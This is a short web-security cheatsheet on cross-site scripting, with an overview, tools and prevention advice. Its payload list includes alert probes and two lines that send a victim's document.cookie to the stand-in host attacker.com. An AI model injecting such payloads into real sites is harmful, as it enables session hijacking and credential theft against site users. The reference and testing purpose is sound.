Back to Web

Xss Cross Site Scripting

Web cheatsheet — Web application enumeration and exploitation techniques.

Overview

Cross-Site Scripting (XSS) is a client-side code injection attack where malicious scripts are injected into trusted websites. XSS occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing an attacker to execute arbitrary JavaScript in the context of a victim's browser.

XSS is one of the most prevalent web application vulnerabilities and can lead to session hijacking, credential theft, defacement, and malware delivery.

Category: WebWeb application enumeration and exploitation techniques.

Key Commands & Payloads

The following commands and payloads are commonly used when testing for or exploiting Xss Cross Site Scripting:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
" onmouseover="alert(1)
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
';alert(1)//
</script><script>alert(1)</script>
<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Tools & Techniques

Recommended tools for Xss Cross Site Scripting:

  • XSStrike: automated XSS detection and exploitation
  • Dalfox: fast parameter-based XSS scanner
  • Burp Suite Active Scanner with XSS checks
  • Manual DOM XSS analysis with browser dev tools
  • BeEF: Browser Exploitation Framework for XSS post-exploitation

Prevention & Mitigation

Security recommendations to prevent Xss Cross Site Scripting:

  • Implement Content Security Policy (CSP) headers
  • Encode output based on context (HTML, JS, CSS, URL)
  • Use secure frameworks with auto-escaping (React, Angular)
  • Validate input on both client and server side
  • Set HttpOnly flag on session cookies
  • Use X-XSS-Protection and X-Content-Type-Options headers

References

Additional resources: